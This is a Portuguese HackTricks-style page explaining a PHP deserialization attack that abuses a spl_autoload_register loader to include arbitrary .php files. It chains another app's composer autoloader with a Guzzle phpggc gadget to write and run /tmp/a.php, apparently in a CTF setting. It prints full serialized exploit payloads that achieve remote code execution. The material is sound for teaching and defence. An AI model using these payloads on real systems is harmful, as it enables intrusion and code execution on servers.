PHP - Deserialization + Autoload Classes

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Primeiro, você deve verificar o que são Classes de Autocarregamento.

PHP desserialização + spl_autoload_register + LFI/Gadget

Estamos em uma situação onde encontramos uma desserialização PHP em um aplicativo da web sem nenhuma biblioteca vulnerável a gadgets dentro do phpggc. No entanto, no mesmo contêiner, havia uma outra aplicação da web do composer com bibliotecas vulneráveis. Portanto, o objetivo era carregar o carregador do composer da outra aplicação da web e abusá-lo para carregar um gadget que irá explorar aquela biblioteca com um gadget da aplicação da web vulnerável à desserialização.

Passos:

  • Você encontrou uma desserialização e não há nenhum gadget no código do aplicativo atual

  • Você pode abusar de uma função spl_autoload_register como a seguinte para carregar qualquer arquivo local com extensão .php

  • Para isso, você usa uma desserialização onde o nome da classe estará dentro de $name. Você não pode usar "/" ou "." em um nome de classe em um objeto serializado, mas o código está substituindo os underlines ("_") por barras ("/"). Portanto, um nome de classe como tmp_passwd será transformado em /tmp/passwd.php e o código tentará carregá-lo. Um exemplo de gadget será: O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

Se você tiver um upload de arquivo e puder fazer o upload de um arquivo com a extensão .php, você pode abusar dessa funcionalidade diretamente e obter RCE facilmente.

No meu caso, eu não tinha nada assim, mas havia dentro do mesmo contêiner outra página da web do composer com uma biblioteca vulnerável a um gadget phpggc.

  • Para carregar essa outra biblioteca, primeiro você precisa carregar o carregador do composer da outra aplicação web (porque o da aplicação atual não terá acesso às bibliotecas da outra). Sabendo o caminho da aplicação, você pode fazer isso facilmente com: O:28:"www_frontend_vendor_autoload":0:{} (No meu caso, o carregador do composer estava em /www/frontend/vendor/autoload.php)

  • Agora, você pode carregar o carregador da outra aplicação, então é hora de gerar o payload phpgcc para usar. No meu caso, usei Guzzle/FW1, o que me permitiu escrever qualquer arquivo no sistema de arquivos.

  • NOTA: O gadget gerado não estava funcionando, para que funcionasse, eu modifiquei esse payload chain.php do phpggc e defini todos os atributos das classes de privado para público. Caso contrário, após desserializar a string, os atributos dos objetos criados não teriam nenhum valor.

  • Agora temos o caminho para carregar o carregador da outra aplicação e ter um payload phpggc que funcione, mas precisamos fazer isso na MESMA REQUISIÇÃO para que o carregador seja carregado quando o gadget for usado. Para isso, enviei um array serializado com ambos os objetos como:

  • Você pode ver primeiro o carregador sendo carregado e depois o payload

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • Agora, podemos criar e escrever um arquivo, no entanto, o usuário não pôde escrever em qualquer pasta dentro do servidor web. Portanto, como você pode ver no payload, o PHP chamando system com algum base64 é criado em /tmp/a.php. Em seguida, podemos reutilizar o primeiro tipo de payload que usamos como LFI para carregar o carregador do composer do outro aplicativo da web para carregar o arquivo /tmp/a.php gerado. Basta adicioná-lo ao gadget de desserialização:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

Resumo da carga útil

  • Carregar o autoload do composer de um aplicativo da web diferente no mesmo contêiner

  • Carregar um gadget phpggc para abusar de uma biblioteca do outro aplicativo da web (o aplicativo da web inicial vulnerável à desserialização não tinha nenhum gadget em suas bibliotecas)

  • O gadget irá criar um arquivo com uma carga útil PHP nele em /tmp/a.php com comandos maliciosos (o usuário do aplicativo da web não pode escrever em nenhuma pasta de nenhum aplicativo da web)

  • A parte final de nossa carga útil usará carregar o arquivo php gerado que executará comandos

Eu precisei chamar essa desserialização duas vezes. Nos meus testes, na primeira vez o arquivo /tmp/a.php foi criado mas não carregado, e na segunda vez foi carregado corretamente.

Last updated